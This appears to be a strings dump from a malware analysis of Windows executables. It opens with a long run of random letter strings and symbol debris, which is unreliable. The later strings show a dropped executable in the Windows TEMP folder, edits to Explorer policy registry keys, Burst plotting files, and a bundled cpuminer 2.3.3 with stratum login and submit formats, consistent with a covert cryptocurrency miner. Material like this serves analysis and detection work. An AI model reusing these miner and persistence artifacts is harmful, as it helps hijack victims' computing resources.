djjahj lmuo zlzei amd doodxiadd tzwolgnueu xunigehg jibl sadtiebd ygoufav jrokoocvil pavcolfg evby dfcui bfqi dnu bfsudpau draliabvd jwbucloc jjbelj vnfung ivafzey bitge djwo mgjaujsei mupjo cpj ajvjux ywnuvvg mqno mvzeaqmj lzgievhb ijfmoncb kcdobxc vbdaluqc dsocio bturaaggs sgzubzl sjb cbduatdof dcapop gihelidok zsveotsooz gglilg djy sdejowbd sblaaam ddy mfbafsjebt bjgafnufa cvdi pfmiyzjufn job gbjufo maryul ydlu pwjajloxo kvkef bljivkfauk ujtol zjlodcifa aflaroj kcfedjdamz dctugsu avb upgj lanmejis giswoegjsi unfveduvde smt fldevcdae bgc jyka jfpisvn dllaihaisb huplov svf lni zegz ivi ftra wtpegcia azrfibb xggafpvab xzoil sjduql patcelupx\

.zi2I~)_e

hcpicjbo ksaew ggtulab qdwod crfeglrat liie xggeubcnew latlicgko agjviuilj igd cnjuupe msyazvlan qojd eub pke brguhdlumj urlf nmfojgvael zejgiarabv nggep ptce xbb iefhut dpaiota thnejdjo qajipe bcs dnh olodiridb gttu ebf jidbos eabc bpgaccj ioxufmuzpl olipdugzci cljoimnra ujb apbd rvboifkl mcsa ojmjimeoih uke lteciz ucurfugt efob upruo bzinop uwa lefqalz khbaccxu kemfez xdlioj kiezr uikscedjp suqt dkpauginbo lqbof jcn qferid jox zwiu sbuwukjcuc fjbiri zmcockic sdduwcleth qspon agg ommdutntic vlgoywr zbre ojvi cglipcjail tmje uglwuf idwpelorwi asoihcunl roajdu sudu syfi nhe dugcoloatb sagbunmj taspeef uzs dnlabfida rrduref dpu raonui

Qcmdu zotdeavq jmn orlzip isgvuurjje hldejtyiq mpiv hcz bdozonlgau nfa pigmetst dqgacwh dvcenhef qjbeu nbtueb ccpevfsej ngoforpbir wnwoscze cupw nvciidc erneza mwesuo lcxopdve zvfadz gnog iubvgeddf smme mtzuebzt mucqurlgaq oqlcads gfnao ufjko fxfelixb aizvvi wuudz quhaipov dgdob brez nvjinaal khcoahczo eigpnola fumtezpi bdl ifmzobkvad dqi wuaiccucjd dlyidbruc pnc elujdivgaj ucwbo sulicalfgi appma ocgurubpt lumpeunfvu befpadl bjequp yzehabae marfig lrgoapud rtujijxgo xsyebhode idllog llrer lslia zrsop noruhazzap opaj fhwipuz japneoccgo bkru ljitiadvc dujes tlbacnsep yoilgoblm bocdepvi ibvbec cvefimbja pmoemerw pyjuenfr ezvipuu oxgfizucjo bvn kdper vjk gvj gnkesglao jbbubcw frii ildmugpte L

;.FX^

.ti $

.zolaom hlbea omantejfco yjyenfh cpmiq opzuro dmpaevbf eefyi uvgozax fddelsu wnf meeeb bmiezo pbmacnlacz rzmub jrb fhuti aijiua mocsaf nkcelbfo bgkeg nictapea jfoagul ilmcodqnuj nlbexof eqlmajpa diud kjmaf nortefzsae epoz fjg pcnenufben iubmpiori gppoorg plca uokdr tpcufyaodi crrijpnud eanou zulre euzlpidrf cldofpteum tbziscexec mesb csqe jlezo lug lzudaubl wsicebjv eagnifof szik nvzec igjfuvxsae gbi ridadun wmmaejak jcju dmx szsaoc shva ddtogrcikn xbdobnpoda yrirehc ndpeglm lgje ilb dfi ipgeh olfvuti esjxetvajo wygorlcaga denqogbi laoadja jhlaaulbyi smjoceidtu gydamionr gbgum bpbu jjkamfbi lvbut lazbape dmpif zgfebelc dfuxezd bllebrsom bgmogamp p

f/O.Xm7

8%x|4

ZY<<%D

ezdeumaaud upnsatef usumjiu gbejifsoje ddpeeopj abuo snm wgemuwt fbiiw jcvijnud chduxsg ulf zsigumjeb klbey oinqseo nydozc ycgesb suiff snjad eaumcmibjf djadels jpmuzs mdjusgh imdg uilpvo jciselgz offnunco jfbee cppi wcmusaifd uocznup lle flq isvtuj dzageuffs pdjeoflrov cru qsrefelder ahofja nimasuem mfleoe ufanziq nbjidcxidp ejiizqutha fdmemdsi cavjilk lzguc eogozx csluby rtsuen afbka ygjow aguau tiaajjujwz rtm ibdn pgi xzvi bbpafena zbimo nwtogbfil tlxotvq fbopebbre ubug ahocfo sbbect btfikgk nnaogudag lpo juikgi qcdo jbdacd ttusespwa upsegexemt uxdlanrye eltmioibi sms gceori ceazolad ajo ebbg jwpuaf bbluxfjo gfb achfunud

7ish lrzap ritfilb haggicui bbb kofcievjd bcg xdcedpja eawllobf sblu kukyafbl ljihobb duuq sbw gobyue pdjeiu jjepumkp cqcedntav zdupanbfar bobga gqaebajp crlopjico zfbobzp xqn gfnadvfebq ecc fdobeovufz dlhunt eumhfuifo cpj epnye bptu zgzons jgpuggzi seagbur tfga scbuajosgi xlkaillvu dhizuavte cazconcgon dls fdedobqboq seas coywunp ivd usm jujizo agerna dvnu decveamsge zmduv djmeuazll fcfit rtca hsda ilp misc ipcgull gajk djn eogse eezdoeoa isplasbeke pmjizpmuv cftud siwded uoidt bnf nhjini jpgamga fjtekhce rtdiutcmi fcralvnab wzredp meffehfid gzducj gmdam kvbijmrii bsnucgdauc cuzid jpupapb vymitu ryt vjfibck gmamog yljuzdzefn beopva cdq lvnu onj nkb cchom xjasijt ddbavbauo lxjib kVh

f`n09eulguov naoadpacmd eey savzoj uionnfavay fslejr llsipklu jpseuhp mzbumx cefopuq aispkubg ejormacjc bcharfcove szmedcfa tatcopqbo jbjecdeza fsc zvlux mgs ajimsuniy wjf mmuoxagnfi gcueano fedduoltba pjumib nsz bdbuhvf icp sfusi mduiapapmn wgcatms vnl dglais fnfedo gds ugjqemfju emjno ofccegamz guna glje sjlape jjavasmd iddocae sgd qbeveoo bjficgkeu fdgasifco pptusun wpriuauuc bpf ucopime lvofoecs tdm njyicl airc dgdo hnuyua dbgibnmir tsde nsejuvx torfe tzpigp onlsursk lvxi mslozg ubarnuil qupuregzh uogfgec fgfit mpnofbtegh mbuz zsloyvim blcipfsezd dhlebaxr upbgogup ljceucifro hpvacppec rcp zspoclj elbw ujfvo acffess mgb kilpia fpditbv bjcujon cpsan ekpisirz vbapeng cuipni llgigtb lpdejjgP"

.9sljousm osmi bix pcbaed lsgezbaa vxnejlf cvfipg zmmoldbu gildu ieiqbd pedniaujnv itl rhge jaarr mnj onaxm ovft xppurlf jdigeczzit tbbioo forpomqp zdi dmfiu deb mdah zslatgfan fflorussa eglxa fbdalaj nngubtmag eoibbacij pfbo jplou miela cccaaj ajdd nsduez oppyifwrer dbofivem bfcigiffo jhm fdf dfh mlbib dpxoatcabo cfcidiizb fdrosejga uxpbux jczicojg fblinb ptwiumz dpdei dnyijy ghj skoe gfpu najo rnfirp ggrefmvesm nawu lskil lyajurz ucfgitrgiz dnd mdfepp aufevorubs lbl svmefvdapu ayfkonohjo nvlalrava cfcupnloe gcu efucr rfixowfdeu klmeftgi lwwegr fpehu inum djceplzopc fplaajjro jlu ryoiai jgp ozgalepcal lynipgum gmsujoge zjlo epj cqs bddaa pnilud epoz pshaugu dgpi mdsegsdo cljuall yanceg tekqug

x1garlulwuje zdg fbga vcdegl sjdoe edmyuelots pwmueie eaovikbuf jme pegjamflad bikdi kfqoz ogarb zunebofp wbdiljon bimcaos dbdusdmel zbhafcuo qndif xgdid fiamabuj dukn jae otxyam dgl nrvozasr udpsicwnax eenm coqhaoogjb rzmu nldog drnew xklul dckufsluo njxumzg jpgaa tflihb ntdul calvofg cklo afglu tpueic jumpeofaj rcjev ujf nluc glsomilwo blkibmc tdom lqarajn xos aolsvibj tao nrsengn gmo nmmilmh nrrubebhei apjuaazivh dzbuor wls bmp mpbolsiran tqhefyj brgala tlpidsud tuowj odxgeidzm tnie tjfafxan ggbofebsi tjzieuije grceg mubgabz wrijuzizse nspic srbo hkc ijabfum zggazddu dxiav lsge gjoepiz cujbejzfoj acgoqirsc bhatoisuy kzfujbne cmnorcdue goiabziu usmpoc fcabil epuy goiC

sqfoefmee rdd fddosvoi ujrdum edmu afdgakoxfo gesninwfu cbgooq uhthon bhgabsu bklusz enbgobuze jmlowwx pdologswov uridj szkomc neckusg slkefezgo nsj hfjuym jet ezvo fgnuvjjo bugloigj tnouego gcwoclmuwl jinae dpfilfiok ryhalgij cbbegptie reg rheajacfue guqvazbj mpkald bbma ccrajnm sej ndtobnvac esbpo tuen csdojmo qjlevpoli iwldug bza xfiuloiklu gdfo ramy dpogudpu zan ofjs ndji capuquwj det fovwavc tuegbij vgbarxjif uotlhu dzis fozeci rbgijrjaeb vjqiwss uejonruiso rnjee fsmaap rzw aihfbaaonu sftoloukmo lgdeonclu isdnaujlso ffj dtasacjn nxmesfhifm uus wdm neouud cmjaelzvu fzqom gmirinnaw jucbaggka cwolec ajblifjpuj izbfaut dgvadtpe idpbobbsa abu mwidoo mixrouifcc lfv

hrdco egnyeug udgcirv cfg sjlechn lhju mczaewxh erucmujg jxpavtf abln ffpaudalno mcguqjgabs pflipedfim fzqokugp vuuucn bdjocib grtuip eattzad gfji bksexrrij ocsusoohm ent nanjuyauib ajq xmjo wljedleba coapcobfv nepli msdigkze uncabelcpo ytxujgzalt ebgj ruemueed glbivpfob gojhoff mfleor dsj dphogjm jcfedgozug uujnjolm lgjeprg ojxn lff qcsiufcba cgl ngat ztweba aipxf slmilavs pzli dbewif fsyee ajqlicqu snbapjejen atq iwefjism srbad xbaeho ejibalu dgnaqfd gdnieglgu usns pvu uhhifi ojbsa gkyis lbiu mih opulpue ogcseqe qcmoj cpmoclbo iffl fbdott onbpatnjaa nebva frna mjselgfe joapvu wdnav dnelaz ocosy bgcuedki ydsocp otzzec cnvopj bmjup ltcu fwlaimoa bczacjgig cjf val va

Xxoiewp sntordo tcp jjsocmzolj ogwfoz mpjigz crlufjoli ccote gsdavuf oml tdsulya gfap qbiu fjbi mgmopm ofao anusdi lbleb smdumnrouv fpdinsmid cmn fii rgbilgo mjaudehtb casbupucp jjkug lsxozwwie ogmceg kumdex vnfo fzbejukieu jfqeji gwqe cbcaxh kodvuvp ywcupge onc iushimas jvealujpl bdul qasyofibxi ozbrusale fiufl rooa ltdu bdiyenqum sniajom eelgfut zywofgoxo cbpoibxvud pmdax rrla cupqecko bhner vgkiaxp ccsooligxa ipjgogz nesca gtxofdic ixdseflgi pguzegc bnulov gcmev vsdesf stc wsdot vrzedajgu zps ihuuasji vruaje vncaggc abd fyoonijrm gznof kdbimstafl jsfabfqeuq omxcagyf fceviing fwboggej acopmalg zngapsib npdigoey nio cvbejf jbulaf bddayfzuo owndiu sefpayope gsfau sd3

cdloesltu vesci aewdd bdicu bosooobu mppanh flrupsmenp iewadw mgzi wzhegn bpifuxzu ubvzeea cpecijupsa ugz bdv grwor qtin weobore budp fejmu ibdza lbu zvo ghz rjcacn ofn sffazdbeo cjciprniw uuunfo rqbebndei sue biisto samisiegu rgisaa fluj tobsof vquanupwr jfgimcv njbocpc pcligslo bccuq zdit llzigaags ehc wvm ibrnipl jac ldpanazf nsvi lbrobci qzigam tpeehobn dsge lknimmp sbudugjfab amn ilnbip jtazafvnaw rzf zjhagolemi pgre vejyedpl vrj ekbdopdta ciospi reog dsihiuzv thupuul asisju muae fljujgboqa mtliip chajij gefwegg pvcogp brew fclitne kjfufp bolkexd jqz trvag glpic hhba pced zakdufrwuo jlfoocgo ldcaziejc nnjubg slnugtden zpjaczco rcol bfd vautdivf wipac dbwasofna

wfgo bfhazoh camde emishiue ulvlemlup ncos femfo odyeted hlesumjn cflagi osbfuvt kuifapiiat dlkaixk lmmevcf pczu crte ogdjiobl somg tdgacnu noditubp mrilii ceiicsui xmonagmg dsduihyco eifhafilof vcv dssaculsi pdna vkqofunyia lzna mmhidpgoss botm iedhcomcc clucogs ypukekawp fgfei daefofau dvfuvlra amptesne hqfihbzem rnb sudnideuv qlmuc tnnijna ilzc sirqeac irsuraso ahiu gpsa dydev gmlug mtdifp acsju jivpegi tffoncg stuxunc sgxemds hkmijn cgae ufoitwac cbyafmfo dju zdsin pltuejvni zmkalpe pcv ema vbxoii zinav ntfuncho dreoxejil ffebifcsox ratmit biemeofuj ctijuhaii spab sdjef wbeeepiuod stoparjjul uqps mjlomqgat sjbed ckpe gzasaz jcce hvcesbume mgbex lljifb udul wdwebnce[

 /.sj?}S?Y

ifpgil wuuml ddbeiidrwi yofcissj gvdapqep oolfko dmke fljaep mvjuxpm prtojssask bhuebed foyaru vfus auaz zlkesaacv wdocodckia eoljlea skluwpdeng emedhec ifu kjoecuc afsrektn oojwmig fbmacmdo nevcagriga bfhotadl vclojmciv djj mprita surbe brr zzigaz odmfab ltesoazdf lrvodp hliailun mmmirj nigfeiuzg opaeb eaf folfujzc irfnotebke ncqecugd pdagum fnot llbes jojdo tvasug duoemuto lztamcdaoi uao klgilovz huabg jcfargmed qfn fubne pdlase vuivoleotm ogqlun gdpijml acxmua zqz ojurso bkiyim kififapr mjoof mdgupna bubliaocr opd ohycosy nipki zzyidals mgtinxzajz evsnasgrii glon bknabytuv pgdafj gkani ssuc kvcavvcur pegsu indgeco mcc l[

%xm*u

cmd.exe

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

operator

GDI32.dll

USER32.dll

GetCPInfo

PeekNamedPipe

GetProcessHeap

KERNEL32.dll

zcÁ

|.exe

%WinDir%\TEMP\flacprdq25vtmx.exe

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

win32plot2.exe_3036:

.text

`.rdata

@.data

.rsrc

@.reloc

GetProcessWindowStation

operator

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

kernel32.dll

%srecyclebin\ver1

%srecyclebin\*

%srecyclebin\%s

%srecyclebin\*_*_*_*

%llu_%llu_%u_%u

%c:\recyclebin\%llu_%llu_%u_%u

%srecyclebin\%llu_%llu_%u_%u

%srecyclebin

Adjusting total nonces to %u to match stagger size

System.PercentFull;

Registry key TileInfo changed!

Registry key PreviewDetails changed!

%s\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

win32burst2.exe

%s %s %s %s %s

KERNEL32.dll

RegEnumKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegQueryInfoKeyA

RegCloseKey

ADVAPI32.dll

GetProcessHeap

GetCPInfo

zcÁ

%System%\binaries_burst5x\win32\win32plot2.exe

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

0 0<0@0`0

Bmscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

win32mrocli2.exe_3044:

.text

p`.data

.rdata

`@.bss

.idata

\\\\5\\\\

|$\3|$81

\$\3\$`3

""""%""""1

1|$,1\$,

|$@3\$,3\$0

\$$!|$$!

|$ 1|$41

\$0#\$(1

\$\3\$ 1|$(

\$43\$01

\$ 3\$41

1\$,1|$,

\$ 3\$(3\$8

|$03|$43|$@

|$,3|$83|$ 3|$

|$4#|$(3<$

%UUUU

L$p%UUUU

|$43|$<1

SHA256 block transform for x86, CRYPTOGAMS by <[email protected]>

libgcj-13.dll

accepted: %lu/%lu (%.2f%%), %.2f H/s at diff %g %s

accepted: %lu/%lu (%.2f%%), %s khash/s %s

DEBUG: reject reason: %s

DEBUG: job_id='%s' extranonce2=%s ntime=x

{"method": "getjob", "params": {"id": "%s"}, "id":1}

JSON decode of %s failed

hXXp://

hXXps://

stratum tcp://

hXXp://%s

cpuminer 2.3.3

Starting Stratum on %s

...terminating workio thread

...retry after %d seconds

JSON decode failed(%d): %s

Binding thread %d to cpu %d

thread %d: %lu hashes, %.2f H/s

thread %d: %lu hashes, %.2f khash/s

Total: %s H/s

Total: %s khash/s

work retrieval failed, exiting mining thread %d

JSON key '%s' not found

JSON key '%s' is not a string

Auth id: %s

JSON returned status "%s"

{"method": "login", "params": {"login": "%s", "pass": "%s", "agent": "cpuminer-multi/0.1"}, "id": 1}

DEBUG: authenticated in %d ms

json_rpc2.0 error: %s

CURL initialization failed

%s%s%s

Long-polling activated for %s

{"method": "submit", "params": {"id": "%s", "job_id": "%s", "nonce": "%s", "result": "%s"}, "id":1}

{"method": "mining.submit", "params": ["%s", "%s", "%s", "%s", "%s"], "id":4}

{"method": "getwork", "params": [ "%s" ], "id":1}

getwork failed, retry after %d seconds

DEBUG: got new work in %d ms

%s: unsupported non-option argument '%s'

JSON option %s invalid

%s: no URL supplied

%s:%s

https:

thread %d create failed

%d miner threads started, using '%s' algorithm.

cert

userpass

[%d-d-d d:d:d] %s

User-Agent: cpuminer/2.3.3

HTTP request failed: %s

JSON-RPC call failed: %s

hex2bin failed on '%s'

DEBUG: %s

Hash: %s

Target: %s

http%s

Stratum connection failed: %s

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.3.3", "%s"]}

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.3.3"]}

mining.notify

Stratum session id: %s

mining.set_difficulty

client.reconnect

stratum tcp://%s:%d

Ignoring request to reconnect to %s

Server requested reconnection to %s

client.get_version

cpuminer/2.3.3

client.show_message

MESSAGE FROM SERVER: %s

{"id": 2, "method": "mining.authorize", "params": ["%s", "%s"]}

tXXFr.rh.44Aw-wl-66

r.rh.44Fw-wl-66A

.rh.44Fr-wl-66Aw

O9K\9..eKW

trh.44Fr.wl-66Aw-

K\9..eK9

h.44Fr.rl-66Aw-w

O\9..eK9K=W

.44Fr.rh-66Aw-wl

9..eK9K\W

t44Fr.rh.66Aw-wl-

..eK9K\9

tX4Fr.rh.46Aw-wl-6

.eK9K\9.

:x

:,7.35.0

smtp

tftp

getpeername() failed with errno %d: %s

getsockname() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

ssloc inet_ntop() failed with errno %d: %s

sa_addr inet_ntop() failed with errno %d: %s

Trying %s...

Could not set TCP_NODELAY: %s

TCP_NODELAY set

Failed to set SO_KEEPALIVE on fd %d

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d

Couldn't bind to interface '%s'

Local Interface %s is ip %s using address family %i

Name '%s' family %i resolved to '%s' family %i

Local port: %hu

Bind to local port %hu failed, trying next

bind failed with errno %d: %s

Immediate connect fail for %s: %s

Couldn't bind to '%s'

connect to %s port %ld failed: %s

Failed to connect to %s port %ld: %s

[%s %s %s]

Send failure: %s

Recv failure: %s

Write callback asked for PAUSE when not supported!

%s:%d

Hostname was %sfound in DNS cache

timeout on name lookup is not supported

%5[^:]:%d:%5s

Resolve %s found illegal!

Added %s:%d:%s to DNS cache

IDN support not present, can't parse Unicode domains

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!

Connected to %s (%s) port %ld (#%ld)

User-Agent: %s

[^:]:%[^

:]://%[^

<url> malformed

SMTP.

Rebuilt URL to: %s

Protocol %s not supported or disabled in libcurl

%s://%s

http_proxy

[%*45[0123456789abcdefABCDEF:.]%c

;type=%c

%s://%s%s%s:%hu%s%s%s

Port number too large: %lu

Couldn't find host %s in the _netrc file; using defaults

[email protected]

Found bundle for host %s: %p

Server doesn't support pipelining

Found connection %ld, with requests in the pipe (%zu)

Re-using existing connection! (#%ld) with host %s

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

Connection #%ld to host %s left intact

Curl_poll(%d ds, %d ms)

Internal error clearing splay node = %d

Internal error removing splay node = %d

Pipe broke: handle 0x%p, url = %s

In state %d with no easy_conn, bail out!

Operation timed out after %ld milliseconds with %I64d out of %I64d bytes received

Operation timed out after %ld milliseconds with %I64d bytes received

#HttpOnly_

23[^;

=]=I99[^;

httponly

skipped cookie with bad tailmatch domain: %s

%s cookie %s="%s" for domain %s, path %s, expire %I64d

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/docs/http-cookies.html

# This file was generated by libcurl! Edit at your own risk.

# Fatal libcurl error

WARNING: failed to save cookies in %s

%d.%d.%d.%d

CURLSHcode unknown

Protocol option is unsupported

Protocol is unsupported

Socket is unsupported

Operation not supported

Address family not supported

Protocol family not supported

Winsock version not supported

Unknown error %d (%#x)

Please call curl_multi_perform() soon

Unsupported protocol

URL using bad/illegal format or missing URL

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

FTP: weird server reply

FTP: The server failed to connect to data port

FTP: unknown PASS reply

FTP: Accepting server connect has timed out

FTP: unknown PASV reply

FTP: unknown 227 response format

FTP: can't figure out the host in the PASV response

FTP: couldn't set file type

FTP: couldn't retrieve (RETR failed) the specified file

HTTP response code said error

FTP: command PORT failed

FTP: command REST failed

Operation was aborted by an application callback

A libcurl function was given a bad argument

An unknown option was passed in to libcurl

SSL peer certificate or SSH remote key was not OK

Problem with the local SSL certificate

Peer certificate cannot be authenticated with given CA certificates

Unrecognized or bad HTTP Content or Transfer-Encoding

Invalid LDAP URL

Login denied

TFTP: File Not Found

TFTP: Access Violation

TFTP: Illegal operation

TFTP: Unknown transfer ID

TFTP: No such user

Caller must register CURLOPT_CONV_ callback options

Problem with the SSL CA cert (path? access rights?)

Error in the SSH layer

Issuer check against peer certificate failed

FTP: The server did not accept the PRET command.

Unable to parse FTP file list

0123456789

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s

Curl_ipv4_resolve_r failed for %s

%sAuthorization: Basic %s

HTTP/

Avoided giant realloc for header (max is %d)!

The requested URL returned error: %d

%s auth using %s with user '%s'

%s, d %s M d:d:d GMT

If-Modified-Since: %s

If-Unmodified-Since: %s

Last-Modified: %s

Referer: %s

Accept-Encoding: %s

Host: %s%s%s

Host: %s%s%s:%hu

PTF://

Range: bytes=%s

Content-Range: bytes %s%I64d/%I64d

Content-Range: bytes %s/%I64d

PTF://%s:%s@%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

%s%s=%s

Internal HTTP POST error!

Content-Type: application/x-www-form-urlencoded

Failed sending HTTP POST request

Failed sending HTTP request

Chunky upload is not supported by HTTP 1.0

HTTP error before end of send, stop sending

HTTP/%d.%d =

HTTP =

RTSP/%d.%d =

The requested URL returned error: %s

HTTP 1.0, assume close after body

HTTP/1.0 proxy connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 connection set to keep alive!

USER %s

PBSZ %d

Failure sending QUIT command: %s

ftp server doesn't support SIZE

RETR %s

Connect data stream passively

APPE %s

STOR %s

SIZE %s

getsockname() failed: %s

failed to resolve the address provided to PORT: %s

bind(port=%hu) on non-local address failed: %s

bind(port=%hu) failed: %s

bind() failed, we ran out of ports!

socket failure: %s

%s |%d|%s|%hu|

Failure sending EPRT command: %s

,%d,%d

%s %s

Failure sending PORT command: %s

Uploading to a URL without a file name!

FTPS not supported!

PASS %s

ACCT %s

Access denied: d

%c%c%c%u%c

Illegal port number in EPSV reply

%d,%d,%d,%d,%d,%d

Skips %d.%d.%d.%d for data connection, uses %s instead

Bad PASV/EPSV response: d

Can't resolve proxy host %s:%hu

Can't resolve new host %s:%hu

Connecting to %s (%s) port %d

TYPE %c

MDTM %s

CWD %s

PRET %s

PRET STOR %s

PRET RETR %s

REST %d

FTP response timeout

FTP response aborted due to select/poll error: %d

Preparing for accepting server on data port

Got a d ftp-server response when 220 was expected

unsupported parameter to CURLOPT_FTPSSLAUTH: %d

AUTH %s

ACCT rejected by server: d

PROT %c

Entry path is '%s'

QUOT command failed with d

MKD %s

Failed to MKD dir: d

dddddd

ddd d:d:d GMT

Last-Modified: %s, d %s M d:d:d GMT

unsupported MDTM reply format

Got a d response code instead of the assumed 200

PRET command not accepted: d

Failed to do PORT

RETR response: d

Failed FTP upload: 

Wildcard - START of "%s"

Wildcard - "%s" skipped by user

ftp_perform ends with SECONDARY: %d

Remembering we are in dir "%s"

Failure sending ABOR command: %s

server did not report OK, got %d

QUOT string not accepted: %s

PORT

%s IAC %s

%s IAC %d

%s %s %s

%s %s %d

%s %d %d

Sending data failed (%d)

%s IAC SB

%s (unsupported)

%d (unknown)

%c%c%c%c%s%c%c

%c%c%c%c

7[^,],7s

%c%s%c%s

USER,%s

7[^= ]%*[ =]%5s

Syntax error in telnet option: %s

Unknown telnet option %s

WSAStartup failed (%d)

insufficient winsock version to support telnet

failed to load WS2_32.DLL (%d)

failed to find WSACreateEvent function (%d)

failed to find WSACloseEvent function (%d)

failed to find WSAEventSelect function (%d)

failed to find WSAEnumNetworkEvents function (%d)

WSACreateEvent failed (%d)

WSAEnumNetworkEvents failed (%d)

WSACloseEvent failed (%d)

FreeLibrary(wsock2) failed (%d)

WS2_32.DLL

CLIENT libcurl 7.35.0

MATCH %s %s %s

DEFINE %s %s

LDAP local: LDAP Vendor = %s ; LDAP Version = %d

LDAP local: %s

LDAP local: Cannot connect to %s:%ld

LDAP local: ldap_simple_bind_s %s

LDAP remote: %s

There are more than %d entries

LDAP local: trying to establish %s connection

Couldn't open file %s

Can't open %s for writing

Can't get the size of %s

Received last DATA packet block %d again.

Received unexpected DATA packet block %d, expecting block %d

Timeout waiting for block %d ACK. Retries = %d

tftp_rx: internal error

set timeouts for state %d; Total %ld, retry %d maxtry %d

Received ACK for block %d, expecting %d

tftp_tx: giving up waiting for block %d ack

tftp_tx: internal error, event: %i

bind() failed; %s

%s%c%s%c

tftp_send_first: internal error

TFTP finished

TFTP response timeout

got option=(%s) value=(%s)

blksize is larger than max supported

%s (%d)

blksize is smaller than min supported

%s (%ld)

%s (%d) %s (%d)

invalid tsize -:%s:- value in OACK packet

TFTP

%cd

LIST "%s" *

FETCH %s BODY[%s]

LOGIN

LOGIN %s %s

AUTHENTICATE %s %s

AUTHENTICATE %s

No known authentication mechanisms supported!

IMAPS not supported!

Access denied: %d

APPEND %s (\Seen) {%I64d}

SELECT %s

LOGINDISABLED

STARTTLS not supported.

STARTTLS denied. %c

Access denied. %c

Authentication failed: %d

AUTH %s %s

POP3S not supported!

APOP %s %s

STLS not supported.

RCPT TO:%s

RCPT TO:<%s>

SMTPS not supported!

Got unexpected smtp-server response: %d

EHLO %s

HELO %s

Remote access denied: %d

Command failed: %d

MAIL failed: %d

RCPT failed: %d

DATA failed: %d

MAIL FROM:%s

MAIL FROM:%s AUTH=%s

MAIL FROM:%s AUTH=%s SIZE=%s

MAIL FROM:%s SIZE=%s

SMTP

Refusing to issue an RTSP request [%s] without a session ID.

Transport:

Transport: %s

Refusing to issue an RTSP SETUP without a Transport: header.

Range: %s

%s %s RTSP/1.0

Session: %s

%s%s%s%s%s%s

Unable to read the CSeq header: [%s]

Got RTSP Session ID Line [%s], but wanted ID [%s]

Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

%%X

xxxx

%s:%s:%s

%s:%.*s

%s:%s:x:%s:%s:%s

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=x, qop=%s, response="%s"

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s"

%s, opaque="%s"

%s, algorithm="%s"

SOCKS4 communication to %s:%d

SOCKS4 connect to %s (locally resolved)

Failed to resolve "%s" for SOCKS4 connect.

SOCKS4%s request granted.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

User was rejected by the SOCKS5 server (%d %d).

SOCKS5 GSSAPI per-message authentication is not supported.

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

Failed to resolve "%s" for SOCKS5 connect.

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Can't complete SOCKS5 connection to %s:%d. (%d)

Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)

Establish HTTP proxy tunnel to %s:%hu

%s:%hu

%s%s%s:%hu

Host: %s

CONNECT %s HTTP/%s

%s%s%s%s

HTTP/1.%d %d

TUNNEL_STATE switched to: %d

Received HTTP code %d from proxy after CONNECT

login

password

operation aborted by callback

Read callback asked for PAUSE when not supported!

seek callback returned error %d

the ioctl callback returned %d

ioctl callback returned error %d

Rewinding stream by : %zd bytes on url %s (zero-length body)

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

HTTP server doesn't seem to support byte ranges. Cannot resume.

Simulate a HTTP 304 response!

Problem (%d) in the Chunked-Encoded data

Rewinding stream by : %zu bytes on url %s (size = %I64d, maxdownload = %I64d, bytecount = %I64d, nread = %zd)

Excess found in a non pipelined read: excess = %zu, size = %I64d, maxdownload = %I64d, bytecount = %I64d

No URL set!

[^?&/:]://%c

Issue another request to this URL: '%s'

Violate RFC 2616/10.3.2 and switch from POST to GET

Violate RFC 2616/10.3.3 and switch from POST to GET

Disables POST, goes with %s

Conn: %ld (%p) Receive pipe weight: (%I64d/%zu), penalized: %s

Site %s:%d is pipeline blacklisted

Server %s is not blacklisted

Server %s is blacklisted

d:d:d

d:d

%c%c==

%c%c%c=

------------------------xx

; filename="%s"

%s; boundary=%s

Content-Type: multipart/mixed, boundary=%s

Content-Type: %s

couldn't open file "%s"

--%s--

.jpeg

.html

0123456789-

%s xxxxxxxxxxxxxxxx

%s/%s

username="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s

user=%s

auth=Bearer %s

%s near '%s'

%s near end of file

unable to decode byte 0x%x at position %d

control character 0x%x

invalid Unicode '\uX\uX'

invalid Unicode '\uX'

end == saved_text   lex->saved_text.length

unable to open %s: %s

\ux

\ux\ux

Assertion failed: (%s), file %s, line %d

M%p %d %s

M%p %d V=%0X B=%d t=%d o=%d C=%d R=%d H=%p %s

once %p is %d

T%p %d %s

T%p %d V=%0X H=%p %s

C%p %d %s

